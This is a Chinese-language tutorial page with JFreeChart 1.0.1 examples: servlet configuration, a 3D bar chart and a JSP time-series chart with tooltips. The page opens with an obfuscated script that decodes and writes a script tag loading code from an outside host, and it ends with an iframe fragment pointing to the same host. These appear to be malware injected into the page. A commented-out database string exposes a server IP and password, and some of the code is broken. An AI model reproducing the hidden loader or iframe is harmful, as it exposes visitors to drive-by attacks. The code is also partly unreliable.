HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
JFreeChart1.0.1的使用范例(整理中)
一.显示图形所必需的
web.xml中加入以下内容:
<servlet>
<servlet-name>DisplayChart</servlet-name>
<servlet-class>org.jfree.chart.servlet.DisplayChart</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DisplayChart</servlet-name>
<url-pattern>/servlet/DisplayChart</url-pattern>
</servlet-mapping>
网页中显示图片时用以下代码:
<%
String filename = ServletUtilities.saveChartAsPNG(chart, 600, 300, info, session);
String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;
%>
<img src="<%= graphURL %>" width=600 height=300 border=0 usemap="#<%= filename %>">
二.范例
1.
生成柱状图
public JFreeChart creatBarChart3D(int x, int y[], String title,String valueStr) {
DefaultCategoryDataset dataset = creatChartDataset(x, y);
JFreeChart chart = ChartFactory.createBarChart3D(
title,
getCells(0, x),
//
横坐标名称
valueStr,
dataset,
PlotOrientation.VERTICAL, true, false, false);
CategoryPlot plot = chart.getCategoryPlot();
CategoryAxis domainAxis = plot.getDomainAxis();
ValueAxis valueAxis = plot.getRangeAxis();
//
设置
columnKey
显示角度
domainAxis.setCategoryLabelPositions(CategoryLabelPositions.DOWN_45);
chart.setBackgroundPaint(new GradientPaint(0.0F, 0.0F, new Color(0xef,
0xef, 0xff), 1000F, 0.0F, new Color(0xef, 0xef, 0xff)));
chart.setTitle(new TextTitle(title,
new Font("黑体", Font.TRUETYPE_FONT,20)));
Font font = new Font("
黑体", Font.TRUETYPE_FONT, 11);
Font valueFont = new Font("Microsoft Sans Serif", Font.TRUETYPE_FONT,11);
plot.setForegroundAlpha(0.8F);
//
设置柱状图透明度
domainAxis.setTickLabelFont(font);
//
坐标轴标值字体
domainAxis.setLabelFont(font);
//
坐标轴标题字体
valueAxis.setTickLabelFont(valueFont);
valueAxis.setLabelFont(font);
return chart;
}
结果生成如下图形:
2.
生成折线图(带热点)
testChartLine.jsp原文件如下:
<%@ page language="java" import="java.util.*" pageEncoding="GB2312"%>
<%@ page import="database.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="grid.*"%>
<%@ page import="common.*"%>
<%@ page import="java.text.SimpleDateFormat"%>
<%@ page import="org.jfree.chart.JFreeChart"%>
<%@ page import="org.jfree.chart.ChartFactory"%>
<%@ page import="org.jfree.data.time.*"%>
<%@ page import="org.jfree.data.xy.*"%>
<%@ page import="org.jfree.chart.servlet.ServletUtilities"%>
<%@ page import="org.jfree.data.general.DefaultPieDataset"%>
<%@ page import="java.awt.*"%>
<%@ page import="org.jfree.chart.JFreeChart"%>
<%@ page import="org.jfree.data.xy.*"%>
<%@ page import="org.jfree.chart.plot.*"%>
<%@ page import="org.jfree.ui.*"%>
<%@ page import="org.jfree.chart.ChartRenderingInfo"%>
<%@ page import="org.jfree.chart.renderer.xy.AbstractXYItemRenderer"%>
<%@ page import="org.jfree.chart.renderer.xy.XYLineAndShapeRenderer"%>
<%@ page import="org.jfree.chart.servlet.ServletUtilities"%>
<%@ page import="org.jfree.chart.urls.StandardPieURLGenerator"%>
<%@ page import="org.jfree.chart.entity.StandardEntityCollection"%>
<%@ page import="org.jfree.chart.axis.NumberAxis"%>
<%@ page import="org.jfree.chart.encoders.SunPNGEncoderAdapter"%>
<%@ page import="org.jfree.data.xy.XYDataset"%>
<%@ page import="org.jfree.chart.axis.*"%>
<%@ page import="org.jfree.chart.plot.PlotOrientation"%>
<%@ page import="org.jfree.chart.plot.XYPlot"%>
<%@ page import="org.jfree.chart.*"%>
<%@ page import="org.jfree.chart.plot.CategoryPlot"%>
<%@ page import="org.jfree.chart.renderer.category.LineAndShapeRenderer"%>
<%@ page import="org.jfree.chart.axis.CategoryAxis"%>
<%@ page import="org.jfree.chart.title.TextTitle"%>
<%@ page import="org.jfree.chart.labels.*"%>
<%@ page import="org.jfree.chart.urls.*"%>
<%@ page import="org.jfree.chart.renderer.xy.*"%>
<%@ page import = "java.io.PrintWriter" %>
<%@ page contentType="text/html; charset=gb2312"%>
<%request.setCharacterEncoding("gb2312");%>
<%response.setContentType("text/html;charset=GB2312");%>
<html>
<head>
<title>测试</title>
<link href="reportstyle.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<script language="javascript">
function overlib(s){
document.all.ChartTip.style.display="block";
top.document.getElementById('ChartTip').innerHTML=s;
obj=event.srcElement;
var rLeft = 0,rTop = 0;
var oParent = obj;
//alert(obj.offsetLeft+"_"+obj.offsetTop+"_"+obj.offsetParent.Left);
var origXY = document.body;
/*if (origXY != null) {
rLeft = origXY.offsetLeft;
rTop = origXY.offsetTop;
do {
rLeft += oParent.offsetLeft;
rTop += oParent.offsetTop;
oParent = oParent.offsetParent;
} while (oParent != origXY);
} else {
rLeft = obj.offsetLeft;
rTop = obj.offsetTop;
}*/
rTop -= 18;
rLeft += 6;
document.all.ChartTip.style.left=document.body.scrollLeft+event.x;
document.all.ChartTip.style.top=document.body.scrollTop+event.y-20;
}
function nd(s){
document.all.ChartTip.style.display="none";
}
</script>
<%
ConnPool connPool = (ConnPool) application.getAttribute("connPool");
String ErrorMsg = request.getParameter("error");
if(connPool==null){
try {
connPool = new ConnPool();
connPool.openDB("sun.jdbc.odbc.JdbcOdbcDriver","jdbc:odbc:DemoDB", "1", "");
/*connPool.openDB("com.informix.jdbc.IfxDriver",
"jdbc:informix-sqli://52.129.32.17:8000/reportdb:INFORMIXSERVER=apac;user=buglu;password=iceriver",
"", "");*/
application.setAttribute("connPool", connPool);
} catch (SQLException ex) {
%>
<jsp:forward page="test.jsp">
<jsp:param name="error" value="数据库未连接."/>
</jsp:forward>
<%
}
}
%>
<jsp:useBean id="conn" scope="page" class="database.SQLBridge" />
<jsp:setProperty name="conn" property="connPool" value="<%=connPool%>" />
<jsp:setProperty name="conn" property="connectionSwitch" value="on" />
<body>
<div id="ChartTip" style="position:absolute; background-color:#3399FF; display:none;left:0px;top:1px;">测试显示</div>
<form name="loginForm" action="test.jsp" method="post">
<%
TimeSeries ts = new TimeSeries("x");
//ts.add(new Day(1,1,2006),2000);
//ts.add(new Day(1,2,2006),5000);
//ts.add(new Day(1,3,2006),3080);
ts.add(new TimeSeriesDataItem(new Day(1, 1, 2006),new Double(2000)));
ts.add(new TimeSeriesDataItem(new Day(1, 2, 2006),new Double(5000)));
ts.add(new TimeSeriesDataItem(new Day(1, 3, 2006),new Double(3080)));
ts.add(new TimeSeriesDataItem(new Day(1, 4, 2006),new Double(7080)));
ts.add(new TimeSeriesDataItem(new Day(1, 5, 2006),new Double(3480)));
ts.add(new TimeSeriesDataItem(new Day(1, 6, 2006),new Double(1480)));
ts.add(new TimeSeriesDataItem(new Day(1, 7, 2006),new Double(2430)));
XYSeriesCollection xyDataset = new XYSeriesCollection(dataSeries);
TimeSeriesCollection dataset = new TimeSeriesCollection();
dataset.addSeries(ts);
JFreeChart chart = ChartFactory.createTimeSeriesChart("标题","日期","数值",dataset,true,true,true);
//JFreeChart chart = ChartFactory.createXYLineChart("标题", "X", "Y", xyDataset, PlotOrientation.VERTICAL, true, true, false);
chart.setBackgroundPaint(new GradientPaint(0.0F, 0.0F, new Color(0xef,0xef,0xff), 1000F, 0.0F, new Color(0xef,0xef,0xff)));
chart.setTitle(new TextTitle("标题", new Font("黑体", Font.TRUETYPE_FONT, 20)));
Font font=new Font("黑体",Font.TRUETYPE_FONT, 11);
Font valueFont=new Font("Microsoft Sans Serif",Font.TRUETYPE_FONT, 11);
XYPlot xyplot = chart.getXYPlot();
xyplot.setBackgroundPaint(Color.lightGray);
//xyplot.setDataset(xyDataset);
//CategoryPlot categoryplot = (CategoryPlot)chart.getPlot();
//categoryplot.setBackgroundPaint(Color.lightGray);
//categoryplot.setRangeGridlinePaint(Color.white);
//CategoryAxis domainAxis = xyplot.getDo
ValueAxis valueAxis=xyplot.getRangeAxis();
valueAxis.setTickLabelFont(valueFont);
valueAxis.setLabelFont(font);
xyplot.setDomainGridlinePaint(Color.white);
xyplot.setRangeGridlinePaint(Color.white);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy年MM月dd日", Locale.CHINA);
SimpleDateFormat sdf2 = new SimpleDateFormat("yyyy-MM-dd", Locale.CHINA);
StandardXYToolTipGenerator ttg = new StandardXYToolTipGenerator(
StandardXYToolTipGenerator.DEFAULT_TOOL_TIP_FORMAT,
sdf,new java.text.DecimalFormat("##0.00"));
TimeSeriesURLGenerator urlg = new TimeSeriesURLGenerator(sdf2, "testChartLine.jsp", "series", "hitDate");
StandardXYItemRenderer renderer = new StandardXYItemRenderer(
StandardXYItemRenderer.LINES + StandardXYItemRenderer.SHAPES,ttg, urlg);
renderer.setShapesFilled(true);
ChartRenderingInfo info = new ChartRenderingInfo(new StandardEntityCollection());
//renderer.setSeriesLinesVisible(false);
//XYLineAndShapeRenderer xylineandshaperenderer = new XYLineAndShapeRenderer();
//xylineandshaperenderer.setSeriesLinesVisible(0, false);
//xylineandshaperenderer.setSeriesShapesVisible(1, false);
//pw.flush();
//xyplot.setRenderer(xylineandshaperenderer);
xyplot.setRenderer(renderer);
PrintWriter pw=new PrintWriter(out);
String filename = ServletUtilities.saveChartAsPNG(chart, 600, 300, info, session);
ChartUtilities.writeImageMap(pw, filename, info,true);
pw.flush();
String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;
%>
<img src="<%= graphURL %>" width=600 height=300 border=0 usemap="#<%= filename %>">
</form>
</body>
<jsp:setProperty name="conn" property="connectionSwitch" value="off" />
<% if(ErrorMsg!=null){
out.print(ErrorMsg);
}
%>
</html>
生成的结果图如下:
三.代码片断
1.设定网格线的颜色
X
YPlot plot = chart.getXYPlot();//柱状图为chart.getCategoryPlot();
plot.setBackgroundPaint(Color.lightGray); //设定图表数据显示部分背景色
plot.setDomainGridlinePaint(Color.white); //横坐标网格线白色
plot.setDomainGridlinesVisible(true); //可见
plot.setRangeGridlinePaint(Color.white); //纵坐标网格线白色
2.设定透明显示
CategoryPlot plot = chart.getCategoryPlot();
plot.setForegroundAlpha(0.8F);
3.柱状图上设置工具提示
StandardEntityCollection sec = new StandardEntityCollection();
ChartRenderingInfo info = new ChartRenderingInfo(sec);
JFreeChart chart=ChartFactory.createBarChart3D("Title", "X", "Y", dataset, PlotOrientation.VERTICAL,
true,
//是否显示图例
true,
//是否显示提示
true
//是否显示链接
);
CategoryPlot plot=(CategoryPlot)chart.getPlot();
BarRenderer renderer = new BarRenderer();
//创建Renderer
renderer.setToolTipGenerator(new StandardCategoryToolTipGenerator("{0}-{1}:2}",NumberFormat.getInstance()));
plot.setRenderer(renderer);
PrintWriter w = new PrintWriter(out);
//输出MAP信息
String filename = ServletUtilities.saveChartAsPNG(chart, 500, 300, info, session);
ChartUtilities.writeImageMap(w, filename, info, false);
//最后一个参数表是什么?注意这里为false,为true则map里不生成title,生成的是javascript;为false时生成title
String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;
生成图表结果如下:
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">